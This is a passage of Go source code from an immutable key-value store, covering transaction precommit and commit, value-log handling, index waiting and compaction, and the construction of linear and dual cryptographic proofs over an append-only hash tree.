errors.Is(err, ErrNoMoreEntries) { break } if err != nil { return err } alh := tx.header.Alh() s.aht.Append(alh[:]) if tx.header.ID%1000 == 0 { s.logger.Infof("binary-linking at '%s' in progress: processing tx: %d", s.path, tx.header.ID) } } s.logger.Infof("binary-linking up to date at '%s'", s.path) return nil } func (s *ImmuStore) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { s.waiteesMutex.Lock() if s.waiteesCount == s.maxWaitees { s.waiteesMutex.Unlock() return watchers.ErrMaxWaitessLimitExceeded } s.waiteesCount++ s.waiteesMutex.Unlock() defer func() { s.waiteesMutex.Lock() s.waiteesCount-- s.waiteesMutex.Unlock() }() var err error if allowPrecommitted { err = s.durablePrecommitWHub.WaitFor(ctx, txID) } else { err = s.commitWHub.WaitFor(ctx, txID) } if errors.Is(err, watchers.ErrAlreadyClosed) { return ErrAlreadyClosed } return err } func (s *ImmuStore) WaitForIndexingUpto(ctx context.Context, txID uint64) error { s.waiteesMutex.Lock() if s.waiteesCount == s.maxWaitees { s.waiteesMutex.Unlock() return watchers.ErrMaxWaitessLimitExceeded } s.waiteesCount++ s.waiteesMutex.Unlock() defer func() { s.waiteesMutex.Lock() s.waiteesCount-- s.waiteesMutex.Unlock() }() for _, indexer := range s.indexers { err := indexer.WaitForIndexingUpto(ctx, txID) if err != nil { return err } } return nil } func (s *ImmuStore) CompactIndexes() error { if s.compactionDisabled { return ErrCompactionDisabled } s.indexersMux.RLock() defer s.indexersMux.RUnlock() // TODO: indexes may be concurrently compacted for _, indexer := range s.indexers { err := indexer.CompactIndex() if err != nil { return err } } return nil } func (s *ImmuStore) FlushIndexes(cleanupPercentage float32, synced bool) error { s.indexersMux.RLock() defer s.indexersMux.RUnlock() // TODO: indexes may be concurrently flushed for _, indexer := range s.indexers { err := indexer.FlushIndex(cleanupPercentage, synced) if err != nil { return err } } return nil } func maxTxSize(maxTxEntries, maxKeyLen, maxTxMetadataLen, maxKVMetadataLen int) int { return txIDSize /*txID*/ + tsSize /*ts*/ + txIDSize /*blTxID*/ + sha256.Size /*blRoot*/ + sha256.Size /*prevAlh*/ + sszSize /*versioin*/ + sszSize /*txMetadataLen*/ + maxTxMetadataLen + lszSize /*|entries|*/ + maxTxEntries*(sszSize /*kvMetadataLen*/ + maxKVMetadataLen+ sszSize /*kLen*/ + maxKeyLen /*key*/ + lszSize /*vLen*/ + offsetSize /*vOff*/ + sha256.Size /*hValue*/) + sha256.Size /*eH*/ + sha256.Size /*txH*/ } func (s *ImmuStore) ReadOnly() bool { return s.readOnly } func (s *ImmuStore) Synced() bool { return s.synced } func (s *ImmuStore) MaxActiveTransactions() int { return s.maxActiveTransactions } func (s *ImmuStore) MVCCReadSetLimit() int { return s.mvccReadSetLimit } func (s *ImmuStore) MaxConcurrency() int { return s.maxConcurrency } func (s *ImmuStore) MaxIOConcurrency() int { return s.maxIOConcurrency } func (s *ImmuStore) MaxTxEntries() int { return s.maxTxEntries } func (s *ImmuStore) MaxKeyLen() int { return s.maxKeyLen } func (s *ImmuStore) MaxValueLen() int { return s.maxValueLen } func (s *ImmuStore) Size() (uint64, error) { var size uint64 err := filepath.WalkDir(s.path, func(path string, d fs.DirEntry, err error) error { if err != nil { return err } if !d.IsDir() { info, err := d.Info() if err != nil { return err } size += uint64(info.Size()) } return nil }) return size, err } func (s *ImmuStore) TxCount() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.committedTxID } func (s *ImmuStore) fetchAllocTx() (*Tx, error) { tx, err := s.txPool.Alloc() if errors.Is(err, ErrTxPoolExhausted) { return nil, ErrMaxConcurrencyLimitExceeded } return tx, nil } func (s *ImmuStore) releaseAllocTx(tx *Tx) { s.txPool.Release(tx) } func encodeOffset(offset int64, vLogID byte) int64 { return int64(vLogID)<<56 | offset } func decodeOffset(offset int64) (byte, int64) { return byte(offset >> 56), offset & ^(0xff << 55) } func (s *ImmuStore) fetchAnyVLog() (vLodID byte, vLog appendable.Appendable) { s.vLogsCond.L.Lock() defer s.vLogsCond.L.Unlock() for s.vLogUnlockedList.Len() == 0 { s.vLogsCond.Wait() } vLogID := s.vLogUnlockedList.Remove(s.vLogUnlockedList.Front()).(byte) + 1 s.vLogs[vLogID-1].unlockedRef = nil // locked return vLogID, s.vLogs[vLogID-1].vLog } func (s *ImmuStore) fetchVLog(vLogID byte) (appendable.Appendable, error) { if s.embeddedValues { if vLogID > 0 { return nil, fmt.Errorf("%w: attempt to read from a non-embedded vlog while using embedded values", ErrUnexpectedError) } s.commitStateRWMutex.Lock() return s.txLog, nil } s.vLogsCond.L.Lock() defer s.vLogsCond.L.Unlock() for s.vLogs[vLogID-1].unlockedRef == nil { s.vLogsCond.Wait() } s.vLogUnlockedList.Remove(s.vLogs[vLogID-1].unlockedRef) s.vLogs[vLogID-1].unlockedRef = nil // locked return s.vLogs[vLogID-1].vLog, nil } func (s *ImmuStore) releaseVLog(vLogID byte) error { if s.embeddedValues { if vLogID > 0 { return fmt.Errorf("%w: attempt to release a non-embedded vlog while using embedded values", ErrUnexpectedError) } s.commitStateRWMutex.Unlock() return nil } s.vLogsCond.L.Lock() s.vLogs[vLogID-1].unlockedRef = s.vLogUnlockedList.PushBack(vLogID - 1) // unlocked s.vLogsCond.L.Unlock() s.vLogsCond.Signal() return nil } type appendableResult struct { offsets []int64 err error } func (s *ImmuStore) appendValuesIntoAnyVLog(entries []*EntrySpec) (offsets []int64, err error) { vLogID, vLog := s.fetchAnyVLog() defer s.releaseVLog(vLogID) offsets, err = s.appendValuesInto(entries, vLog) if err != nil { return nil, err } for i := 0; i < len(offsets); i++ { offsets[i] = encodeOffset(offsets[i], vLogID) } return offsets, nil } func (s *ImmuStore) appendValuesInto(entries []*EntrySpec, app appendable.Appendable) (offsets []int64, err error) { offsets = make([]int64, len(entries)) for i := 0; i < len(offsets); i++ { if len(entries[i].Value) == 0 { continue } offsets[i], _, err = app.Append(entries[i].Value) if err != nil { return nil, err } } return offsets, nil } func (s *ImmuStore) NewWriteOnlyTx(ctx context.Context) (*OngoingTx, error) { return newOngoingTx(ctx, s, &TxOptions{Mode: WriteOnlyTx}) } func (s *ImmuStore) NewTx(ctx context.Context, opts *TxOptions) (*OngoingTx, error) { return newOngoingTx(ctx, s, opts) } func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader *TxHeader, skipIntegrityCheck bool, waitForIndexing bool) (*TxHeader, error) { hdr, err := s.precommit(ctx, otx, expectedHeader, skipIntegrityCheck) if err != nil { return nil, err } // note: durability is ensured only if the store is in sync mode err = s.commitWHub.WaitFor(ctx, hdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { return nil, err } if waitForIndexing { err = s.WaitForIndexingUpto(ctx, hdr.ID) // header is returned because transaction is already committed if err != nil { return hdr, err } } return hdr, nil } func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader, skipIntegrityCheck bool) (*TxHeader, error) { if otx == nil { return nil, fmt.Errorf("%w: no transaction", ErrIllegalArguments) } err := otx.validateAgainst(hdr) if err != nil { return nil, fmt.Errorf("%w: transaction does not validate against header", err) } // extra metadata are specified by the client and thus they are only allowed when entries is non empty if len(otx.entries) == 0 && (otx.metadata.IsEmpty() || otx.metadata.HasExtraOnly()) { return nil, ErrNoEntriesProvided } err = s.validateEntries(otx.entries) if err != nil { return nil, err } err = s.validatePreconditions(otx.preconditions) if err != nil { return nil, err } tx, err := s.fetchAllocTx() if err != nil { return nil, err } defer s.releaseAllocTx(tx) if hdr == nil { tx.header.Version = s.writeTxHeaderVersion } else { tx.header.Version = hdr.Version } tx.header.Metadata = otx.metadata tx.header.NEntries = len(otx.entries) doneWithValuesCh := make(chan appendableResult) defer close(doneWithValuesCh) go func() { // value write is delayed to ensure values are inmediatelly followed by the associated tx header if s.embeddedValues { doneWithValuesCh <- appendableResult{nil, nil} return } offsets, err := s.appendValuesIntoAnyVLog(otx.entries) if err != nil { doneWithValuesCh <- appendableResult{nil, err} return } doneWithValuesCh <- appendableResult{offsets, nil} }() for i, e := range otx.entries { txe := tx.entries[i] txe.setKey(e.Key) txe.md = e.Metadata txe.vLen = len(e.Value) if e.IsValueTruncated { txe.hVal = e.HashValue } else { txe.hVal = sha256.Sum256(e.Value) } } err = tx.BuildHashTree() if err != nil { <-doneWithValuesCh // wait for data to be written return nil, err } valueWritingResult := <-doneWithValuesCh // wait for data to be written if valueWritingResult.err != nil { return nil, valueWritingResult.err } if !s.embeddedValues { for i := 0; i < tx.header.NEntries; i++ { tx.entries[i].vOff = valueWritingResult.offsets[i] } } if hdr != nil { // TODO: Eh validation is disabled as it's not provided // when the tx was exported without integrity checks if !skipIntegrityCheck && tx.header.Eh != hdr.Eh { return nil, fmt.Errorf("%w: entries hash (Eh) differs", ErrIllegalArguments) } lastPreCommittedTxID := s.LastPrecommittedTxID() if lastPreCommittedTxID >= hdr.ID { return nil, ErrTxAlreadyCommitted } if hdr.ID > lastPreCommittedTxID+uint64(s.maxActiveTransactions) { return nil, ErrMaxActiveTransactionsLimitExceeded } // ensure tx is committed in the expected order err = s.inmemPrecommitWHub.WaitFor(ctx, hdr.ID-1) if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { return nil, err } var blRoot [sha256.Size]byte if hdr.BlTxID > 0 { blRoot, err = s.aht.RootAt(hdr.BlTxID) if err != nil && !errors.Is(err, ahtree.ErrEmptyTree) { return nil, err } } if blRoot != hdr.BlRoot { return nil, fmt.Errorf("%w: attempt to commit a tx with invalid blRoot", ErrIllegalArguments) } } s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return nil, ErrAlreadyClosed } currPrecomittedTxID, currPrecommittedAlh := s.precommittedAlh() var ts int64 var blTxID uint64 if hdr == nil { ts = s.timeFunc().Unix() blTxID = s.aht.Size() } else { ts = hdr.Ts blTxID = hdr.BlTxID // currTxID and currAlh were already checked before, // but we have to add an additional check once the commit mutex // is locked to ensure that those constraints are still valid // in case of simultaneous writers if currPrecomittedTxID > hdr.ID-1 { return nil, ErrTxAlreadyCommitted } if currPrecomittedTxID < hdr.ID-1 { return nil, fmt.Errorf("%w: attempt to commit a tx in wrong order", ErrUnexpectedError) } if currPrecommittedAlh != hdr.PrevAlh { return nil, fmt.Errorf("%w: attempt to commit a tx with invalid prevAlh", ErrIllegalArguments) } } if otx.hasPreconditions() { var waitForIndexingUpto uint64 if otx.unsafeMVCC { waitForIndexingUpto = s.mandatoryMVCCUpToTxID } else { // Preconditions must be executed with up-to-date tree waitForIndexingUpto = currPrecomittedTxID } err = s.WaitForIndexingUpto(ctx, waitForIndexingUpto) if err != nil { return nil, err } err = otx.checkPreconditions(ctx, s) if err != nil { return nil, err } } err = s.performPrecommit(tx, otx.entries, ts, blTxID) if err != nil { return nil, err } if otx.requireMVCCOnFollowingTxs { s.mandatoryMVCCUpToTxID = tx.header.ID } return tx.Header(), err } func (s *ImmuStore) LastCommittedTxID() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.committedTxID } func (s *ImmuStore) LastPrecommittedTxID() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.inmemPrecommittedTxID } func (s *ImmuStore) MandatoryMVCCUpToTxID() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.mandatoryMVCCUpToTxID } func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blTxID uint64) error { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() // limit the maximum number of pre-committed transactions if s.synced && s.committedTxID+uint64(s.maxActiveTransactions) <= s.inmemPrecommittedTxID { return ErrMaxActiveTransactionsLimitExceeded } // will overwrite partially written and uncommitted data err := s.txLog.SetOffset(s.precommittedTxLogSize) if err != nil { return fmt.Errorf("commit-log: could not set offset: %w", err) } tx.header.ID = s.inmemPrecommittedTxID + 1 tx.header.Ts = ts tx.header.BlTxID = blTxID if blTxID > 0 { blRoot, err := s.aht.RootAt(blTxID) if err != nil && !errors.Is(err, ahtree.ErrEmptyTree) { return err } tx.header.BlRoot = blRoot } if tx.header.ID <= tx.header.BlTxID { return ErrUnexpectedLinkingError } tx.header.PrevAlh = s.inmemPrecommittedAlh txSize := 0 // tx serialization into pre-allocated buffer binary.BigEndian.PutUint64(s._txbs[txSize:], uint64(tx.header.ID)) txSize += txIDSize binary.BigEndian.PutUint64(s._txbs[txSize:], uint64(tx.header.Ts)) txSize += tsSize binary.BigEndian.PutUint64(s._txbs[txSize:], uint64(tx.header.BlTxID)) txSize += txIDSize copy(s._txbs[txSize:], tx.header.BlRoot[:]) txSize += sha256.Size copy(s._txbs[txSize:], tx.header.PrevAlh[:]) txSize += sha256.Size binary.BigEndian.PutUint16(s._txbs[txSize:], uint16(tx.header.Version)) txSize += sszSize switch tx.header.Version { case 0: { binary.BigEndian.PutUint16(s._txbs[txSize:], uint16(tx.header.NEntries)) txSize += sszSize } case 1: { var txmdbs []byte if tx.header.Metadata != nil { txmdbs = tx.header.Metadata.Bytes() } binary.BigEndian.PutUint16(s._txbs[txSize:], uint16(len(txmdbs))) txSize += sszSize copy(s._txbs[txSize:], txmdbs) txSize += len(txmdbs) binary.BigEndian.PutUint32(s._txbs[txSize:], uint32(tx.header.NEntries)) txSize += lszSize } default: { panic(fmt.Errorf("missing tx serialization method for version %d", tx.header.Version)) } } // will overwrite partially written and uncommitted data err = s.txLog.SetOffset(s.precommittedTxLogSize) if err != nil { return fmt.Errorf("%w: could not set offset in txLog", err) } // total values length will be prefixed when values are embedded into txLog txPrefixLen := 0 if s.embeddedValues { embeddedValuesLen := 0 for _, e := range entries { embeddedValuesLen += len(e.Value) } var embeddedValuesLenBs [sszSize]byte binary.BigEndian.PutUint16(embeddedValuesLenBs[:], uint16(embeddedValuesLen)) _, _, err := s.txLog.Append(embeddedValuesLenBs[:]) if err != nil { return fmt.Errorf("%w: writing transaction values", err) } offsets, err := s.appendValuesInto(entries, s.txLog) if err != nil { return fmt.Errorf("%w: writing transaction values", err) } for i := 0; i < tx.header.NEntries; i++ { tx.entries[i].vOff = offsets[i] } txPrefixLen = sszSize + embeddedValuesLen } for i := 0; i < tx.header.NEntries; i++ { txe := tx.entries[i] // tx serialization using pre-allocated buffer // md is stored before key to ensure backward compatibility var kvmdbs []byte if txe.md != nil { kvmdbs = txe.md.Bytes() } binary.BigEndian.PutUint16(s._txbs[txSize:], uint16(len(kvmdbs))) txSize += sszSize copy(s._txbs[txSize:], kvmdbs) txSize += len(kvmdbs) binary.BigEndian.PutUint16(s._txbs[txSize:], uint16(txe.kLen)) txSize += sszSize copy(s._txbs[txSize:], txe.k[:txe.kLen]) txSize += txe.kLen binary.BigEndian.PutUint32(s._txbs[txSize:], uint32(txe.vLen)) txSize += lszSize binary.BigEndian.PutUint64(s._txbs[txSize:], uint64(txe.vOff)) txSize += offsetSize copy(s._txbs[txSize:], txe.hVal[:]) txSize += sha256.Size } // tx serialization using pre-allocated buffer alh := tx.header.Alh() copy(s._txbs[txSize:], alh[:]) txSize += sha256.Size txbs := make([]byte, txSize) copy(txbs, s._txbs[:txSize]) txOff, _, err := s.txLog.Append(txbs) if err != nil { return err } _, _, err = s.txLogCache.Put(tx.header.ID, txbs) if err != nil { return err } err = s.aht.ResetSize(s.inmemPrecommittedTxID) if err != nil { return err } _, _, err = s.aht.Append(alh[:]) if err != nil { return err } err = s.cLogBuf.put(s.inmemPrecommittedTxID+1, alh, txOff, txSize) if err != nil { return err } s.inmemPrecommittedTxID++ s.inmemPrecommittedAlh = alh s.precommittedTxLogSize += int64(txPrefixLen + txSize) s.inmemPrecommitWHub.DoneUpto(s.inmemPrecommittedTxID) if !s.synced { s.durablePrecommitWHub.DoneUpto(s.inmemPrecommittedTxID) return s.mayCommit() } return nil } func (s *ImmuStore) SetExternalCommitAllowance(enabled bool) { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() s.useExternalCommitAllowance = enabled if enabled { s.commitAllowedUpToTxID = s.committedTxID } } // DiscardPrecommittedTxsSince discard precommitted txs // No truncation is made into txLog which means, if the store is reopened // some precommitted transactions may be reloaded. // Discarding may need to be redone after re-opening the store. func (s *ImmuStore) DiscardPrecommittedTxsSince(txID uint64) (int, error) { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return 0, ErrAlreadyClosed } s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() if txID == 0 { return 0, fmt.Errorf("%w: invalid transaction ID", ErrIllegalArguments) } if txID <= s.committedTxID { return 0, fmt.Errorf("%w: only precommitted transactions can be discarded", ErrIllegalArguments) } if txID > s.inmemPrecommittedTxID { return 0, nil } txsToDiscard := int(s.inmemPrecommittedTxID + 1 - txID) err := s.aht.ResetSize(s.aht.Size() - uint64(txsToDiscard)) if err != nil { return 0, err } // s.cLogBuf inludes all precommitted transactions (even durable ones) err = s.cLogBuf.recedeWriter(txsToDiscard) if err != nil { return 0, err } defer func() { durablePrecommittedTxID, _, _ := s.durablePrecommitWHub.Status() if durablePrecommittedTxID > s.inmemPrecommittedTxID { s.durablePrecommitWHub.RecedeTo(s.inmemPrecommittedTxID) } }() if txID-1 == s.committedTxID { s.inmemPrecommittedTxID = s.committedTxID s.inmemPrecommittedAlh = s.committedAlh return txsToDiscard, nil } tx, alh, _, _, err := s.cLogBuf.readAhead(int(s.inmemPrecommittedTxID-s.committedTxID-1) - txsToDiscard) if err != nil || tx != txID-1 { s.inmemPrecommittedTxID = s.committedTxID s.inmemPrecommittedAlh = s.committedAlh s.logger.Warningf("precommitted transactions has been discarded due to unexpected error in cLogBuf") return 0, err } s.inmemPrecommittedTxID = txID - 1 s.inmemPrecommittedAlh = alh return txsToDiscard, nil } func (s *ImmuStore) AllowCommitUpto(txID uint64) error { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() if !s.useExternalCommitAllowance { return fmt.Errorf("%w: the external commit allowance mode is not enabled", ErrIllegalState) } if txID <= s.commitAllowedUpToTxID { // once a commit is allowed, it cannot be revoked return nil } if s.inmemPrecommittedTxID < txID { // commit allowances apply only to pre-committed transactions s.commitAllowedUpToTxID = s.inmemPrecommittedTxID } else { s.commitAllowedUpToTxID = txID } if !s.synced { return s.mayCommit() } return nil } // commitAllowedUpTo requires the caller to have already acquired the commitStateRWMutex lock func (s *ImmuStore) commitAllowedUpTo() uint64 { if !s.useExternalCommitAllowance { return s.inmemPrecommittedTxID } return s.commitAllowedUpToTxID } // commitAllowedUpTo requires the caller to have already acquired the commitStateRWMutex lock func (s *ImmuStore) mayCommit() error { commitAllowedUpToTxID := s.commitAllowedUpTo() txsCountToBeCommitted := int(commitAllowedUpToTxID - s.committedTxID) if txsCountToBeCommitted == 0 { return nil } // will overwrite partially written and uncommitted data err := s.cLog.SetOffset(int64(s.committedTxID) * int64(s.cLogEntrySize)) if err != nil { return err } var commitUpToTxID uint64 var commitUpToTxAlh [sha256.Size]byte for i := 0; i < txsCountToBeCommitted; i++ { txID, alh, txOff, txSize, err := s.cLogBuf.readAhead(i) if err != nil { return err } cb := make([]byte, s.cLogEntrySize) binary.BigEndian.PutUint64(cb, uint64(txOff)) binary.BigEndian.PutUint32(cb[offsetSize:], uint32(txSize)) if s.cLogEntrySize == cLogEntrySizeV2 { copy(cb[offsetSize+lszSize:], alh[:]) } _, _, err = s.cLog.Append(cb) if err != nil { return err } commitUpToTxID = txID commitUpToTxAlh = alh } // added as a safety fuse but this situation should NOT happen if commitUpToTxID != commitAllowedUpToTxID { return fmt.Errorf("%w: may commit up to %d but actual transaction to be committed is %d", ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID) } err = s.cLog.Flush() if err != nil { return err } err = s.cLogBuf.advanceReader(txsCountToBeCommitted) if err != nil { return err } s.committedTxID = commitUpToTxID s.committedAlh = commitUpToTxAlh s.commitWHub.DoneUpto(commitUpToTxID) return nil } func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error), waitForIndexing bool) (*TxHeader, error) { hdr, err := s.preCommitWith(ctx, callback) if err != nil { return nil, err } // note: durability is ensured only if the store is in sync mode err = s.commitWHub.WaitFor(ctx, hdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } if err != nil { return nil, err } if waitForIndexing { err = s.WaitForIndexingUpto(ctx, hdr.ID) // header is returned because transaction is already committed if err != nil { return hdr, err } } return hdr, nil } type KeyIndex interface { Get(ctx context.Context, key []byte) (valRef ValueRef, err error) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) } type unsafeIndex struct { st *ImmuStore } func (index *unsafeIndex) Get(ctx context.Context, key []byte) (ValueRef, error) { return index.GetWithFilters(ctx, key, IgnoreDeleted, IgnoreExpired) } func (index *unsafeIndex) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) { return index.st.GetBetween(ctx, key, initialTxID, finalTxID) } func (index *unsafeIndex) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (ValueRef, error) { return index.st.GetWithFilters(ctx, key, filters...) } func (index *unsafeIndex) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { return index.st.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreDeleted, IgnoreExpired) } func (index *unsafeIndex) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { return index.st.GetWithPrefixAndFilters(ctx, prefix, neq, filters...) } func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { if callback == nil { return nil, ErrIllegalArguments } s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return nil, ErrAlreadyClosed } otx, err := s.NewWriteOnlyTx(ctx) if err != nil { return nil, err } defer otx.Cancel() s.indexersMux.RLock() defer s.indexersMux.RUnlock() for _, indexer := range s.indexers { indexer.Pause() defer indexer.Resume() } lastPreCommittedTxID := s.LastPrecommittedTxID() otx.entries, otx.preconditions, err = callback(lastPreCommittedTxID+1, &unsafeIndex{st: s}) if err != nil { return nil, err } if len(otx.entries) == 0 { return nil, ErrNoEntriesProvided } err = s.validateEntries(otx.entries) if err != nil { return nil, err } err = s.validatePreconditions(otx.preconditions) if err != nil { return nil, err } if otx.hasPreconditions() { for _, indexer := range s.indexers { indexer.Resume() } // Preconditions must be executed with up-to-date tree err = s.WaitForIndexingUpto(ctx, lastPreCommittedTxID) if err != nil { return nil, err } err = otx.checkPreconditions(ctx, s) if err != nil { return nil, err } for _, indexer := range s.indexers { indexer.Pause() } } tx, err := s.fetchAllocTx() if err != nil { return nil, err } defer s.releaseAllocTx(tx) tx.header.Version = s.writeTxHeaderVersion tx.header.NEntries = len(otx.entries) doneWithValuesCh := make(chan appendableResult) defer close(doneWithValuesCh) go func() { if s.embeddedValues { // value write is delayed to ensure values are inmediatelly followed by the associated tx header doneWithValuesCh <- appendableResult{nil, nil} return } offsets, err := s.appendValuesIntoAnyVLog(otx.entries) if err != nil { doneWithValuesCh <- appendableResult{nil, err} return } doneWithValuesCh <- appendableResult{offsets, nil} }() for i, e := range otx.entries { txe := tx.entries[i] txe.setKey(e.Key) txe.md = e.Metadata txe.vLen = len(e.Value) if e.IsValueTruncated { txe.hVal = e.HashValue } else { txe.hVal = sha256.Sum256(e.Value) } } err = tx.BuildHashTree() if err != nil { <-doneWithValuesCh // wait for data to be written return nil, err } valueWritingResult := <-doneWithValuesCh // wait for data to be written if valueWritingResult.err != nil { return nil, valueWritingResult.err } if !s.embeddedValues { for i := 0; i < tx.header.NEntries; i++ { tx.entries[i].vOff = valueWritingResult.offsets[i] } } err = s.performPrecommit(tx, otx.entries, s.timeFunc().Unix(), s.aht.Size()) if err != nil { return nil, err } return tx.Header(), nil } type DualProofV2 struct { SourceTxHeader *TxHeader TargetTxHeader *TxHeader InclusionProof [][sha256.Size]byte ConsistencyProof [][sha256.Size]byte } type DualProof struct { SourceTxHeader *TxHeader TargetTxHeader *TxHeader InclusionProof [][sha256.Size]byte ConsistencyProof [][sha256.Size]byte TargetBlTxAlh [sha256.Size]byte LastInclusionProof [][sha256.Size]byte LinearProof *LinearProof LinearAdvanceProof *LinearAdvanceProof } func (s *ImmuStore) DualProofV2(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualProofV2, err error) { if sourceTxHdr == nil || targetTxHdr == nil || sourceTxHdr.ID == 0 { return nil, ErrIllegalArguments } if sourceTxHdr.ID > targetTxHdr.ID { return nil, ErrSourceTxNewerThanTargetTx } if sourceTxHdr.ID-1 != sourceTxHdr.BlTxID || targetTxHdr.ID-1 != targetTxHdr.BlTxID { return nil, ErrUnexpectedLinkingError } proof = &DualProofV2{ SourceTxHeader: sourceTxHdr, TargetTxHeader: targetTxHdr, } if sourceTxHdr.ID < targetTxHdr.ID { proof.InclusionProof, err = s.aht.InclusionProof(sourceTxHdr.ID, targetTxHdr.BlTxID) if err != nil { return nil, err } proof.ConsistencyProof, err = s.aht.ConsistencyProof(maxUint64(1, sourceTxHdr.BlTxID), targetTxHdr.BlTxID) if err != nil { return nil, err } } return proof, nil } // DualProof combines linear cryptographic linking i.e. transactions include the linear accumulative hash up to the previous one, // with binary cryptographic linking generated by appending the linear accumulative hash values into an incremental hash tree, whose // root is also included as part of each transaction and thus considered when calculating the linear accumulative hash. // The objective of this proof is the same as the linear proof, that is, generate data for the calculation of the accumulative // hash value of the target transaction from the linear accumulative hash value up to source transaction. func (s *ImmuStore) DualProof(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualProof, err error) { if sourceTxHdr == nil || targetTxHdr == nil { return nil, ErrIllegalArguments } if sourceTxHdr.ID > targetTxHdr.ID { return nil, ErrSourceTxNewerThanTargetTx } proof = &DualProof{ SourceTxHeader: sourceTxHdr, TargetTxHeader: targetTxHdr, } if sourceTxHdr.ID < targetTxHdr.BlTxID { binInclusionProof, err := s.aht.InclusionProof(sourceTxHdr.ID, targetTxHdr.BlTxID) // must match targetTx.BlRoot if err != nil { return nil, err } proof.InclusionProof = binInclusionProof } if sourceTxHdr.BlTxID > targetTxHdr.BlTxID { return nil, fmt.Errorf("%w: binary linking mismatch at tx %d", ErrCorruptedTxData, sourceTxHdr.ID) } if sourceTxHdr.BlTxID > 0 { // first root sourceTx.BlRoot, second one targetTx.BlRoot binConsistencyProof, err := s.aht.ConsistencyProof(sourceTxHdr.BlTxID, targetTxHdr.BlTxID) if err != nil { return nil, err } proof.ConsistencyProof = binConsistencyProof } if targetTxHdr.BlTxID > 0 { targetBlTxHdr, err := s.ReadTxHeader(targetTxHdr.BlTxID, false, false) if err != nil { return nil, err } proof.TargetBlTxAlh = targetBlTxHdr.Alh() // Used to validate targetTx.BlRoot is calculated with alh@targetTx.BlTxID as last leaf binLastInclusionProof, err := s.aht.InclusionProof(targetTxHdr.BlTxID, targetTxHdr.BlTxID) // must match targetTx.BlRoot if err != nil { return nil, err } proof.LastInclusionProof = binLastInclusionProof } lproof, err := s.LinearProof(maxUint64(sourceTxHdr.ID, targetTxHdr.BlTxID), targetTxHdr.ID) if err != nil { return nil, err } proof.LinearProof = lproof laproof, err := s.LinearAdvanceProof( sourceTxHdr.BlTxID, minUint64(sourceTxHdr.ID, targetTxHdr.BlTxID), targetTxHdr.BlTxID, ) if err != nil { return nil, err } proof.LinearAdvanceProof = laproof return } type LinearProof struct { SourceTxID uint64 TargetTxID uint64 Terms [][sha256.Size]byte } // LinearProof returns a list of hashes to calculate Alh@targetTxID from Alh@sourceTxID func (s *ImmuStore) LinearProof(sourceTxID, targetTxID uint64) (*LinearProof, error) { if sourceTxID == 0 || sourceTxID > targetTxID { return nil, ErrSourceTxNewerThanTargetTx } tx, err := s.fetchAllocTx() if err != nil { return nil, err } defer s.releaseAllocTx(tx) r, err := s.NewTxReader(sourceTxID, false, tx) if err != nil { return nil, err } tx, err = r.Read() if err != nil { return nil, err } proof := make([][sha256.Size]byte, targetTxID-sourceTxID+1) proof[0] = tx.header.Alh() for i := 1; i < len(proof); i++ { tx, err := r.Read() if err != nil { return nil, err } proof[i] = tx.Header().innerHash() } return &LinearProof{ SourceTxID: sourceTxID, TargetTxID: targetTxID, Terms: proof, }, nil } // LinearAdvanceProof returns additional inclusion proof for part of the old linear proof consumed by // the new Merkle Tree func (s *ImmuStore) LinearAdvanceProof(sourceTxID, targetTxID uint64, targetBlTxID uint64) (*LinearAdvanceProof, error) { if targetTxID < sourceTxID { return nil, ErrSourceTxNewerThanTargetTx } if targetTxID <= sourceTxID+1 { return nil, nil // Additional proof is not needed } tx, err := s.fetchAllocTx() if err != nil { return nil, err } defer s.releaseAllocTx(tx) r, err := s.NewTxReader(sourceTxID+1, false, tx) if err != nil { return nil, err } tx, err = r.Read() if err != nil { return nil, err } linearProofTerms := make([][sha256.Size]byte, targetTxID-sourceTxID) linearProofTerms[0] = tx.header.Alh() inclusionProofs := make([][][sha256.Size]byte, targetTxID-sourceTxID-1) for txID := sourceTxID + 1; txID < targetTxID; txID++ { inclusionProof, err := s.aht.InclusionProof(txID, targetBlTxID) if err != nil { return nil, err } inclusionProofs[txID-sourceTxID-1] = inclusionProof tx, err := r.Read() if err != nil { 